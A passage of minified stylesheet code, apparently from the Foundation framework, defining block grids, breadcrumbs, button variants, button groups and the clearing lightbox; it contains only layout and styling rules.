";display:table;}[class*="block-grid-"]:after {clear:both;}[class*="block-grid-"]>li {display:block;height:auto;float:left;padding:0 0.625rem 1.25rem;}@media only screen{.small-block-grid-1>li {width:100%;list-style:none;}.small-block-grid-1 > li:nth-of-type(1n) {clear:none;}.small-block-grid-1 > li:nth-of-type(1n+1) {clear:both;}.small-block-grid-2>li {width:50%;list-style:none;}.small-block-grid-2 > li:nth-of-type(1n) {clear:none;}.small-block-grid-2 > li:nth-of-type(2n+1) {clear:both;}.small-block-grid-3>li {width:33.33333%;list-style:none;}.small-block-grid-3 > li:nth-of-type(1n) {clear:none;}.small-block-grid-3 > li:nth-of-type(3n+1) {clear:both;}.small-block-grid-4>li {width:25%;list-style:none;}.small-block-grid-4 > li:nth-of-type(1n) {clear:none;}.small-block-grid-4 > li:nth-of-type(4n+1) {clear:both;}.small-block-grid-5>li {width:20%;list-style:none;}.small-block-grid-5 > li:nth-of-type(1n) {clear:none;}.small-block-grid-5 > li:nth-of-type(5n+1) {clear:both;}.small-block-grid-6>li {width:16.66667%;list-style:none;}.small-block-grid-6 > li:nth-of-type(1n) {clear:none;}.small-block-grid-6 > li:nth-of-type(6n+1) {clear:both;}.small-block-grid-7>li {width:14.28571%;list-style:none;}.small-block-grid-7 > li:nth-of-type(1n) {clear:none;}.small-block-grid-7 > li:nth-of-type(7n+1) {clear:both;}.small-block-grid-8>li {width:12.5%;list-style:none;}.small-block-grid-8 > li:nth-of-type(1n) {clear:none;}.small-block-grid-8 > li:nth-of-type(8n+1) {clear:both;}.small-block-grid-9>li {width:11.11111%;list-style:none;}.small-block-grid-9 > li:nth-of-type(1n) {clear:none;}.small-block-grid-9 > li:nth-of-type(9n+1) {clear:both;}.small-block-grid-10>li {width:10%;list-style:none;}.small-block-grid-10 > li:nth-of-type(1n) {clear:none;}.small-block-grid-10 > li:nth-of-type(10n+1) {clear:both;}.small-block-grid-11>li {width:9.09091%;list-style:none;}.small-block-grid-11 > li:nth-of-type(1n) {clear:none;}.small-block-grid-11 > li:nth-of-type(11n+1) {clear:both;}.small-block-grid-12>li {width:8.33333%;list-style:none;}.small-block-grid-12 > li:nth-of-type(1n) {clear:none;}.small-block-grid-12 > li:nth-of-type(12n+1) {clear:both;}}@media only screen and (min-width:40.063em){.medium-block-grid-1>li {width:100%;list-style:none;}.medium-block-grid-1 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-1 > li:nth-of-type(1n+1) {clear:both;}.medium-block-grid-2>li {width:50%;list-style:none;}.medium-block-grid-2 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-2 > li:nth-of-type(2n+1) {clear:both;}.medium-block-grid-3>li {width:33.33333%;list-style:none;}.medium-block-grid-3 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-3 > li:nth-of-type(3n+1) {clear:both;}.medium-block-grid-4>li {width:25%;list-style:none;}.medium-block-grid-4 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-4 > li:nth-of-type(4n+1) {clear:both;}.medium-block-grid-5>li {width:20%;list-style:none;}.medium-block-grid-5 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-5 > li:nth-of-type(5n+1) {clear:both;}.medium-block-grid-6>li {width:16.66667%;list-style:none;}.medium-block-grid-6 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-6 > li:nth-of-type(6n+1) {clear:both;}.medium-block-grid-7>li {width:14.28571%;list-style:none;}.medium-block-grid-7 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-7 > li:nth-of-type(7n+1) {clear:both;}.medium-block-grid-8>li {width:12.5%;list-style:none;}.medium-block-grid-8 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-8 > li:nth-of-type(8n+1) {clear:both;}.medium-block-grid-9>li {width:11.11111%;list-style:none;}.medium-block-grid-9 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-9 > li:nth-of-type(9n+1) {clear:both;}.medium-block-grid-10>li {width:10%;list-style:none;}.medium-block-grid-10 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-10 > li:nth-of-type(10n+1) {clear:both;}.medium-block-grid-11>li {width:9.09091%;list-style:none;}.medium-block-grid-11 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-11 > li:nth-of-type(11n+1) {clear:both;}.medium-block-grid-12>li {width:8.33333%;list-style:none;}.medium-block-grid-12 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-12 > li:nth-of-type(12n+1) {clear:both;}}@media only screen and (min-width:64.063em){.large-block-grid-1>li {width:100%;list-style:none;}.large-block-grid-1 > li:nth-of-type(1n) {clear:none;}.large-block-grid-1 > li:nth-of-type(1n+1) {clear:both;}.large-block-grid-2>li {width:50%;list-style:none;}.large-block-grid-2 > li:nth-of-type(1n) {clear:none;}.large-block-grid-2 > li:nth-of-type(2n+1) {clear:both;}.large-block-grid-3>li {width:33.33333%;list-style:none;}.large-block-grid-3 > li:nth-of-type(1n) {clear:none;}.large-block-grid-3 > li:nth-of-type(3n+1) {clear:both;}.large-block-grid-4>li {width:25%;list-style:none;}.large-block-grid-4 > li:nth-of-type(1n) {clear:none;}.large-block-grid-4 > li:nth-of-type(4n+1) {clear:both;}.large-block-grid-5>li {width:20%;list-style:none;}.large-block-grid-5 > li:nth-of-type(1n) {clear:none;}.large-block-grid-5 > li:nth-of-type(5n+1) {clear:both;}.large-block-grid-6>li {width:16.66667%;list-style:none;}.large-block-grid-6 > li:nth-of-type(1n) {clear:none;}.large-block-grid-6 > li:nth-of-type(6n+1) {clear:both;}.large-block-grid-7>li {width:14.28571%;list-style:none;}.large-block-grid-7 > li:nth-of-type(1n) {clear:none;}.large-block-grid-7 > li:nth-of-type(7n+1) {clear:both;}.large-block-grid-8>li {width:12.5%;list-style:none;}.large-block-grid-8 > li:nth-of-type(1n) {clear:none;}.large-block-grid-8 > li:nth-of-type(8n+1) {clear:both;}.large-block-grid-9>li {width:11.11111%;list-style:none;}.large-block-grid-9 > li:nth-of-type(1n) {clear:none;}.large-block-grid-9 > li:nth-of-type(9n+1) {clear:both;}.large-block-grid-10>li {width:10%;list-style:none;}.large-block-grid-10 > li:nth-of-type(1n) {clear:none;}.large-block-grid-10 > li:nth-of-type(10n+1) {clear:both;}.large-block-grid-11>li {width:9.09091%;list-style:none;}.large-block-grid-11 > li:nth-of-type(1n) {clear:none;}.large-block-grid-11 > li:nth-of-type(11n+1) {clear:both;}.large-block-grid-12>li {width:8.33333%;list-style:none;}.large-block-grid-12 > li:nth-of-type(1n) {clear:none;}.large-block-grid-12 > li:nth-of-type(12n+1) {clear:both;}}.breadcrumbs {display:block;padding:0.5625rem 0.875rem 0.5625rem;overflow:hidden;margin-left:0;list-style:none;border-style:solid;border-width:1px;background-color:#f4f4f4;border-color:#dcdcdc;border-radius:3px;}.breadcrumbs>* {margin:0;float:left;font-size:0.6875rem;line-height:0.6875rem;text-transform:uppercase;color:#008cba;}.breadcrumbs > *:hover a ,.breadcrumbs > *:focus a {text-decoration:underline;}.breadcrumbs > * a {color:#008cba;}.breadcrumbs > *.current {cursor:default;color:#333333;}.breadcrumbs > *.current a {cursor:default;color:#333333;}.breadcrumbs > *.current:hover ,.breadcrumbs > *.current:hover a ,.breadcrumbs > *.current:focus ,.breadcrumbs > *.current:focus a {text-decoration:none;}.breadcrumbs > *.unavailable {color:#999999;}.breadcrumbs > *.unavailable a {color:#999999;}.breadcrumbs > *.unavailable:hover ,.breadcrumbs > *.unavailable:hover a ,.breadcrumbs > *.unavailable:focus ,.breadcrumbs > *.unavailable a:focus {text-decoration:none;color:#999999;cursor:default;}.breadcrumbs > *:before {content:"/";color:#aaaaaa;margin:0 0.75rem;position:relative;top:1px;}.breadcrumbs > *:first-child:before {content:" ";margin:0;}[aria-label="breadcrumbs"] [aria-hidden="true"]:after {content:"/";}button ,.button {border-style:solid;border-width:0px;cursor:pointer;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-weight:normal;line-height:normal;margin:0 0 1.25rem;position:relative;text-decoration:none;text-align:center;-webkit-appearance:none;-webkit-border-radius:0;display:inline-block;padding-top:1rem;padding-right:2rem;padding-bottom:1.0625rem;padding-left:2rem;font-size:1rem;background-color:#008cba;border-color:#007295;color:#ffffff;transition:background-color 300ms ease-out;}button:hover ,button:focus ,.button:hover ,.button:focus {background-color:#007295;}button:hover ,button:focus ,.button:hover ,.button:focus {color:#ffffff;}button.secondary ,.button.secondary {background-color:#e7e7e7;border-color:#b9b9b9;color:#333333;}button.secondary:hover ,button.secondary:focus ,.button.secondary:hover ,.button.secondary:focus {background-color:#b9b9b9;}button.secondary:hover ,button.secondary:focus ,.button.secondary:hover ,.button.secondary:focus {color:#333333;}button.success ,.button.success {background-color:#43ac6a;border-color:#368a54;color:#ffffff;}button.success:hover ,button.success:focus ,.button.success:hover ,.button.success:focus {background-color:#368a54;}button.success:hover ,button.success:focus ,.button.success:hover ,.button.success:focus {color:#ffffff;}button.alert ,.button.alert {background-color:#f04124;border-color:#cf280e;color:#ffffff;}button.alert:hover ,button.alert:focus ,.button.alert:hover ,.button.alert:focus {background-color:#cf280e;}button.alert:hover ,button.alert:focus ,.button.alert:hover ,.button.alert:focus {color:#ffffff;}button.warning ,.button.warning {background-color:#f08a24;border-color:#cf6e0e;color:#ffffff;}button.warning:hover ,button.warning:focus ,.button.warning:hover ,.button.warning:focus {background-color:#cf6e0e;}button.warning:hover ,button.warning:focus ,.button.warning:hover ,.button.warning:focus {color:#ffffff;}button.info ,.button.info {background-color:#a0d3e8;border-color:#61b7d9;color:#333333;}button.info:hover ,button.info:focus ,.button.info:hover ,.button.info:focus {background-color:#61b7d9;}button.info:hover ,button.info:focus ,.button.info:hover ,.button.info:focus {color:#ffffff;}button.large ,.button.large {padding-top:1.125rem;padding-right:2.25rem;padding-bottom:1.1875rem;padding-left:2.25rem;font-size:1.25rem;}button.small ,.button.small {padding-top:0.875rem;padding-right:1.75rem;padding-bottom:0.9375rem;padding-left:1.75rem;font-size:0.8125rem;}button.tiny ,.button.tiny {padding-top:0.625rem;padding-right:1.25rem;padding-bottom:0.6875rem;padding-left:1.25rem;font-size:0.6875rem;}button.expand ,.button.expand {padding-right:0;padding-left:0;width:100%;}button.left-align ,.button.left-align {text-align:left;text-indent:0.75rem;}button.right-align ,.button.right-align {text-align:right;padding-right:0.75rem;}button.radius ,.button.radius {border-radius:3px;}button.round ,.button.round {border-radius:1000px;}button.disabled ,button[disabled] ,.button.disabled ,.button[disabled] {background-color:#008cba;border-color:#007295;color:#ffffff;cursor:default;opacity:0.7;box-shadow:none;}button.disabled:hover ,button.disabled:focus ,button[disabled]:hover ,button[disabled]:focus ,.button.disabled:hover ,.button.disabled:focus ,.button[disabled]:hover ,.button[disabled]:focus {background-color:#007295;}button.disabled:hover ,button.disabled:focus ,button[disabled]:hover ,button[disabled]:focus ,.button.disabled:hover ,.button.disabled:focus ,.button[disabled]:hover ,.button[disabled]:focus {color:#ffffff;}button.disabled:hover ,button.disabled:focus ,button[disabled]:hover ,button[disabled]:focus ,.button.disabled:hover ,.button.disabled:focus ,.button[disabled]:hover ,.button[disabled]:focus {background-color:#008cba;}button.disabled.secondary ,button[disabled].secondary ,.button.disabled.secondary ,.button[disabled].secondary {background-color:#e7e7e7;border-color:#b9b9b9;color:#333333;cursor:default;opacity:0.7;box-shadow:none;}button.disabled.secondary:hover ,button.disabled.secondary:focus ,button[disabled].secondary:hover ,button[disabled].secondary:focus ,.button.disabled.secondary:hover ,.button.disabled.secondary:focus ,.button[disabled].secondary:hover ,.button[disabled].secondary:focus {background-color:#b9b9b9;}button.disabled.secondary:hover ,button.disabled.secondary:focus ,button[disabled].secondary:hover ,button[disabled].secondary:focus ,.button.disabled.secondary:hover ,.button.disabled.secondary:focus ,.button[disabled].secondary:hover ,.button[disabled].secondary:focus {color:#333333;}button.disabled.secondary:hover ,button.disabled.secondary:focus ,button[disabled].secondary:hover ,button[disabled].secondary:focus ,.button.disabled.secondary:hover ,.button.disabled.secondary:focus ,.button[disabled].secondary:hover ,.button[disabled].secondary:focus {background-color:#e7e7e7;}button.disabled.success ,button[disabled].success ,.button.disabled.success ,.button[disabled].success {background-color:#43ac6a;border-color:#368a54;color:#ffffff;cursor:default;opacity:0.7;box-shadow:none;}button.disabled.success:hover ,button.disabled.success:focus ,button[disabled].success:hover ,button[disabled].success:focus ,.button.disabled.success:hover ,.button.disabled.success:focus ,.button[disabled].success:hover ,.button[disabled].success:focus {background-color:#368a54;}button.disabled.success:hover ,button.disabled.success:focus ,button[disabled].success:hover ,button[disabled].success:focus ,.button.disabled.success:hover ,.button.disabled.success:focus ,.button[disabled].success:hover ,.button[disabled].success:focus {color:#ffffff;}button.disabled.success:hover ,button.disabled.success:focus ,button[disabled].success:hover ,button[disabled].success:focus ,.button.disabled.success:hover ,.button.disabled.success:focus ,.button[disabled].success:hover ,.button[disabled].success:focus {background-color:#43ac6a;}button.disabled.alert ,button[disabled].alert ,.button.disabled.alert ,.button[disabled].alert {background-color:#f04124;border-color:#cf280e;color:#ffffff;cursor:default;opacity:0.7;box-shadow:none;}button.disabled.alert:hover ,button.disabled.alert:focus ,button[disabled].alert:hover ,button[disabled].alert:focus ,.button.disabled.alert:hover ,.button.disabled.alert:focus ,.button[disabled].alert:hover ,.button[disabled].alert:focus {background-color:#cf280e;}button.disabled.alert:hover ,button.disabled.alert:focus ,button[disabled].alert:hover ,button[disabled].alert:focus ,.button.disabled.alert:hover ,.button.disabled.alert:focus ,.button[disabled].alert:hover ,.button[disabled].alert:focus {color:#ffffff;}button.disabled.alert:hover ,button.disabled.alert:focus ,button[disabled].alert:hover ,button[disabled].alert:focus ,.button.disabled.alert:hover ,.button.disabled.alert:focus ,.button[disabled].alert:hover ,.button[disabled].alert:focus {background-color:#f04124;}button.disabled.warning ,button[disabled].warning ,.button.disabled.warning ,.button[disabled].warning {background-color:#f08a24;border-color:#cf6e0e;color:#ffffff;cursor:default;opacity:0.7;box-shadow:none;}button.disabled.warning:hover ,button.disabled.warning:focus ,button[disabled].warning:hover ,button[disabled].warning:focus ,.button.disabled.warning:hover ,.button.disabled.warning:focus ,.button[disabled].warning:hover ,.button[disabled].warning:focus {background-color:#cf6e0e;}button.disabled.warning:hover ,button.disabled.warning:focus ,button[disabled].warning:hover ,button[disabled].warning:focus ,.button.disabled.warning:hover ,.button.disabled.warning:focus ,.button[disabled].warning:hover ,.button[disabled].warning:focus {color:#ffffff;}button.disabled.warning:hover ,button.disabled.warning:focus ,button[disabled].warning:hover ,button[disabled].warning:focus ,.button.disabled.warning:hover ,.button.disabled.warning:focus ,.button[disabled].warning:hover ,.button[disabled].warning:focus {background-color:#f08a24;}button.disabled.info ,button[disabled].info ,.button.disabled.info ,.button[disabled].info {background-color:#a0d3e8;border-color:#61b7d9;color:#333333;cursor:default;opacity:0.7;box-shadow:none;}button.disabled.info:hover ,button.disabled.info:focus ,button[disabled].info:hover ,button[disabled].info:focus ,.button.disabled.info:hover ,.button.disabled.info:focus ,.button[disabled].info:hover ,.button[disabled].info:focus {background-color:#61b7d9;}button.disabled.info:hover ,button.disabled.info:focus ,button[disabled].info:hover ,button[disabled].info:focus ,.button.disabled.info:hover ,.button.disabled.info:focus ,.button[disabled].info:hover ,.button[disabled].info:focus {color:#ffffff;}button.disabled.info:hover ,button.disabled.info:focus ,button[disabled].info:hover ,button[disabled].info:focus ,.button.disabled.info:hover ,.button.disabled.info:focus ,.button[disabled].info:hover ,.button[disabled].info:focus {background-color:#a0d3e8;}button::-moz-focus-inner {border:0;padding:0;}@media only screen and (min-width:40.063em){button ,.button {display:inline-block;}}.button-group {list-style:none;margin:0;left:0;}.button-group:before ,.button-group:after {content:" ";display:table;}.button-group:after {clear:both;}.button-group>li {margin:0 -2px;display:inline-block;}.button-group > li>button ,.button-group > li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group > li:first-child button ,.button-group > li:first-child .button {border-left:0;}.button-group.stack>li {margin:0 -2px;display:inline-block;display:block;margin:0;float:none;}.button-group.stack > li>button ,.button-group.stack > li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.stack > li:first-child button ,.button-group.stack > li:first-child .button {border-left:0;}.button-group.stack > li>button ,.button-group.stack > li .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.stack > li:first-child button ,.button-group.stack > li:first-child .button {border-top:0;}.button-group.stack-for-small>li {margin:0 -2px;display:inline-block;}.button-group.stack-for-small > li>button ,.button-group.stack-for-small > li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.stack-for-small > li:first-child button ,.button-group.stack-for-small > li:first-child .button {border-left:0;}@media only screen and (max-width: 40em){.button-group.stack-for-small>li {margin:0 -2px;display:inline-block;display:block;margin:0;}.button-group.stack-for-small > li>button ,.button-group.stack-for-small > li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.stack-for-small > li:first-child button ,.button-group.stack-for-small > li:first-child .button {border-left:0;}.button-group.stack-for-small > li>button ,.button-group.stack-for-small > li .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.stack-for-small > li:first-child button ,.button-group.stack-for-small > li:first-child .button {border-top:0;}}.button-group.radius>* {margin:0 -2px;display:inline-block;}.button-group.radius > *>button ,.button-group.radius > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.radius > *:first-child button ,.button-group.radius > *:first-child .button {border-left:0;}.button-group.radius > * ,.button-group.radius > *>a ,.button-group.radius > *>button ,.button-group.radius > *>.button {border-radius:0;}.button-group.radius > *:first-child ,.button-group.radius > *:first-child>a ,.button-group.radius > *:first-child>button ,.button-group.radius > *:first-child>.button {-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}.button-group.radius > *:last-child ,.button-group.radius > *:last-child>a ,.button-group.radius > *:last-child>button ,.button-group.radius > *:last-child>.button {-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}.button-group.radius.stack>* {margin:0 -2px;display:inline-block;display:block;margin:0;}.button-group.radius.stack > *>button ,.button-group.radius.stack > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.radius.stack > *:first-child button ,.button-group.radius.stack > *:first-child .button {border-left:0;}.button-group.radius.stack > *>button ,.button-group.radius.stack > * .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.radius.stack > *:first-child button ,.button-group.radius.stack > *:first-child .button {border-top:0;}.button-group.radius.stack > * ,.button-group.radius.stack > *>a ,.button-group.radius.stack > *>button ,.button-group.radius.stack > *>.button {border-radius:0;}.button-group.radius.stack > *:first-child ,.button-group.radius.stack > *:first-child>a ,.button-group.radius.stack > *:first-child>button ,.button-group.radius.stack > *:first-child>.button {-webkit-top-left-radius:3px;-webkit-top-right-radius:3px;border-top-left-radius:3px;border-top-right-radius:3px;}.button-group.radius.stack > *:last-child ,.button-group.radius.stack > *:last-child>a ,.button-group.radius.stack > *:last-child>button ,.button-group.radius.stack > *:last-child>.button {-webkit-bottom-left-radius:3px;-webkit-bottom-right-radius:3px;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}@media only screen and (min-width:40.063em){.button-group.radius.stack-for-small>* {margin:0 -2px;display:inline-block;}.button-group.radius.stack-for-small > *>button ,.button-group.radius.stack-for-small > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.radius.stack-for-small > *:first-child button ,.button-group.radius.stack-for-small > *:first-child .button {border-left:0;}.button-group.radius.stack-for-small > * ,.button-group.radius.stack-for-small > *>a ,.button-group.radius.stack-for-small > *>button ,.button-group.radius.stack-for-small > *>.button {border-radius:0;}.button-group.radius.stack-for-small > *:first-child ,.button-group.radius.stack-for-small > *:first-child>a ,.button-group.radius.stack-for-small > *:first-child>button ,.button-group.radius.stack-for-small > *:first-child>.button {-webkit-border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-bottom-left-radius:3px;border-top-left-radius:3px;}.button-group.radius.stack-for-small > *:last-child ,.button-group.radius.stack-for-small > *:last-child>a ,.button-group.radius.stack-for-small > *:last-child>button ,.button-group.radius.stack-for-small > *:last-child>.button {-webkit-border-bottom-right-radius:3px;-webkit-border-top-right-radius:3px;border-bottom-right-radius:3px;border-top-right-radius:3px;}}@media only screen and (max-width: 40em){.button-group.radius.stack-for-small>* {margin:0 -2px;display:inline-block;display:block;margin:0;}.button-group.radius.stack-for-small > *>button ,.button-group.radius.stack-for-small > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.radius.stack-for-small > *:first-child button ,.button-group.radius.stack-for-small > *:first-child .button {border-left:0;}.button-group.radius.stack-for-small > *>button ,.button-group.radius.stack-for-small > * .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.radius.stack-for-small > *:first-child button ,.button-group.radius.stack-for-small > *:first-child .button {border-top:0;}.button-group.radius.stack-for-small > * ,.button-group.radius.stack-for-small > *>a ,.button-group.radius.stack-for-small > *>button ,.button-group.radius.stack-for-small > *>.button {border-radius:0;}.button-group.radius.stack-for-small > *:first-child ,.button-group.radius.stack-for-small > *:first-child>a ,.button-group.radius.stack-for-small > *:first-child>button ,.button-group.radius.stack-for-small > *:first-child>.button {-webkit-top-left-radius:3px;-webkit-top-right-radius:3px;border-top-left-radius:3px;border-top-right-radius:3px;}.button-group.radius.stack-for-small > *:last-child ,.button-group.radius.stack-for-small > *:last-child>a ,.button-group.radius.stack-for-small > *:last-child>button ,.button-group.radius.stack-for-small > *:last-child>.button {-webkit-bottom-left-radius:3px;-webkit-bottom-right-radius:3px;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}}.button-group.round>* {margin:0 -2px;display:inline-block;}.button-group.round > *>button ,.button-group.round > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.round > *:first-child button ,.button-group.round > *:first-child .button {border-left:0;}.button-group.round > * ,.button-group.round > *>a ,.button-group.round > *>button ,.button-group.round > *>.button {border-radius:0;}.button-group.round > *:first-child ,.button-group.round > *:first-child>a ,.button-group.round > *:first-child>button ,.button-group.round > *:first-child>.button {-webkit-border-bottom-left-radius:1000px;-webkit-border-top-left-radius:1000px;border-bottom-left-radius:1000px;border-top-left-radius:1000px;}.button-group.round > *:last-child ,.button-group.round > *:last-child>a ,.button-group.round > *:last-child>button ,.button-group.round > *:last-child>.button {-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}.button-group.round.stack>* {margin:0 -2px;display:inline-block;display:block;margin:0;}.button-group.round.stack > *>button ,.button-group.round.stack > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.round.stack > *:first-child button ,.button-group.round.stack > *:first-child .button {border-left:0;}.button-group.round.stack > *>button ,.button-group.round.stack > * .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.round.stack > *:first-child button ,.button-group.round.stack > *:first-child .button {border-top:0;}.button-group.round.stack > * ,.button-group.round.stack > *>a ,.button-group.round.stack > *>button ,.button-group.round.stack > *>.button {border-radius:0;}.button-group.round.stack > *:first-child ,.button-group.round.stack > *:first-child>a ,.button-group.round.stack > *:first-child>button ,.button-group.round.stack > *:first-child>.button {-webkit-top-left-radius:1rem;-webkit-top-right-radius:1rem;border-top-left-radius:1rem;border-top-right-radius:1rem;}.button-group.round.stack > *:last-child ,.button-group.round.stack > *:last-child>a ,.button-group.round.stack > *:last-child>button ,.button-group.round.stack > *:last-child>.button {-webkit-bottom-left-radius:1rem;-webkit-bottom-right-radius:1rem;border-bottom-left-radius:1rem;border-bottom-right-radius:1rem;}@media only screen and (min-width:40.063em){.button-group.round.stack-for-small>* {margin:0 -2px;display:inline-block;}.button-group.round.stack-for-small > *>button ,.button-group.round.stack-for-small > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.round.stack-for-small > *:first-child button ,.button-group.round.stack-for-small > *:first-child .button {border-left:0;}.button-group.round.stack-for-small > * ,.button-group.round.stack-for-small > *>a ,.button-group.round.stack-for-small > *>button ,.button-group.round.stack-for-small > *>.button {border-radius:0;}.button-group.round.stack-for-small > *:first-child ,.button-group.round.stack-for-small > *:first-child>a ,.button-group.round.stack-for-small > *:first-child>button ,.button-group.round.stack-for-small > *:first-child>.button {-webkit-border-bottom-left-radius:1000px;-webkit-border-top-left-radius:1000px;border-bottom-left-radius:1000px;border-top-left-radius:1000px;}.button-group.round.stack-for-small > *:last-child ,.button-group.round.stack-for-small > *:last-child>a ,.button-group.round.stack-for-small > *:last-child>button ,.button-group.round.stack-for-small > *:last-child>.button {-webkit-border-bottom-right-radius:1000px;-webkit-border-top-right-radius:1000px;border-bottom-right-radius:1000px;border-top-right-radius:1000px;}}@media only screen and (max-width: 40em){.button-group.round.stack-for-small>* {margin:0 -2px;display:inline-block;display:block;margin:0;}.button-group.round.stack-for-small > *>button ,.button-group.round.stack-for-small > * .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.round.stack-for-small > *:first-child button ,.button-group.round.stack-for-small > *:first-child .button {border-left:0;}.button-group.round.stack-for-small > *>button ,.button-group.round.stack-for-small > * .button {border-top:1px solid;border-color:rgba(255, 255, 255, 0.5);border-left-width:0px;margin:0;display:block;}.button-group.round.stack-for-small > *:first-child button ,.button-group.round.stack-for-small > *:first-child .button {border-top:0;}.button-group.round.stack-for-small > * ,.button-group.round.stack-for-small > *>a ,.button-group.round.stack-for-small > *>button ,.button-group.round.stack-for-small > *>.button {border-radius:0;}.button-group.round.stack-for-small > *:first-child ,.button-group.round.stack-for-small > *:first-child>a ,.button-group.round.stack-for-small > *:first-child>button ,.button-group.round.stack-for-small > *:first-child>.button {-webkit-top-left-radius:1rem;-webkit-top-right-radius:1rem;border-top-left-radius:1rem;border-top-right-radius:1rem;}.button-group.round.stack-for-small > *:last-child ,.button-group.round.stack-for-small > *:last-child>a ,.button-group.round.stack-for-small > *:last-child>button ,.button-group.round.stack-for-small > *:last-child>.button {-webkit-bottom-left-radius:1rem;-webkit-bottom-right-radius:1rem;border-bottom-left-radius:1rem;border-bottom-right-radius:1rem;}}.button-group.even-2 li {margin:0 -2px;display:inline-block;width:50%;}.button-group.even-2 li>button ,.button-group.even-2 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-2 li:first-child button ,.button-group.even-2 li:first-child .button {border-left:0;}.button-group.even-2 li button ,.button-group.even-2 li .button {width:100%;}.button-group.even-3 li {margin:0 -2px;display:inline-block;width:33.33333%;}.button-group.even-3 li>button ,.button-group.even-3 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-3 li:first-child button ,.button-group.even-3 li:first-child .button {border-left:0;}.button-group.even-3 li button ,.button-group.even-3 li .button {width:100%;}.button-group.even-4 li {margin:0 -2px;display:inline-block;width:25%;}.button-group.even-4 li>button ,.button-group.even-4 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-4 li:first-child button ,.button-group.even-4 li:first-child .button {border-left:0;}.button-group.even-4 li button ,.button-group.even-4 li .button {width:100%;}.button-group.even-5 li {margin:0 -2px;display:inline-block;width:20%;}.button-group.even-5 li>button ,.button-group.even-5 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-5 li:first-child button ,.button-group.even-5 li:first-child .button {border-left:0;}.button-group.even-5 li button ,.button-group.even-5 li .button {width:100%;}.button-group.even-6 li {margin:0 -2px;display:inline-block;width:16.66667%;}.button-group.even-6 li>button ,.button-group.even-6 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-6 li:first-child button ,.button-group.even-6 li:first-child .button {border-left:0;}.button-group.even-6 li button ,.button-group.even-6 li .button {width:100%;}.button-group.even-7 li {margin:0 -2px;display:inline-block;width:14.28571%;}.button-group.even-7 li>button ,.button-group.even-7 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-7 li:first-child button ,.button-group.even-7 li:first-child .button {border-left:0;}.button-group.even-7 li button ,.button-group.even-7 li .button {width:100%;}.button-group.even-8 li {margin:0 -2px;display:inline-block;width:12.5%;}.button-group.even-8 li>button ,.button-group.even-8 li .button {border-left:1px solid;border-color:rgba(255, 255, 255, 0.5);}.button-group.even-8 li:first-child button ,.button-group.even-8 li:first-child .button {border-left:0;}.button-group.even-8 li button ,.button-group.even-8 li .button {width:100%;}.button-bar:before ,.button-bar:after {content:" ";display:table;}.button-bar:after {clear:both;}.button-bar .button-group {float:left;margin-right:0.625rem;}.button-bar .button-group div {overflow:hidden;}.clearing-thumbs ,[data-clearing] {margin-bottom:0;margin-left:0;list-style:none;}.clearing-thumbs:before ,.clearing-thumbs:after ,[data-clearing]:before ,[data-clearing]:after {content:" ";display:table;}.clearing-thumbs:after ,[data-clearing]:after {clear:both;}.clearing-thumbs li ,[data-clearing] li {float:left;margin-right:10px;}.clearing-thumbs[class*="block-grid-"] li ,[data-clearing][class*="block-grid-"] li {margin-right:0;}.clearing-blackout {background:#333333;position:fixed;width:100%;height:100%;top:0;left:0;z-index:998;}.clearing-blackout .clearing-close {display:block;}.clearing-container {position:relative;z-index:998;height:100%;overflow:hidden;margin:0;}.clearing-touch-label {position:absolute;top:50%;left:50%;color:#aaaaaa;font-size:0.6em;}.visible-img {height:95%;position:relative;}.visible-img img 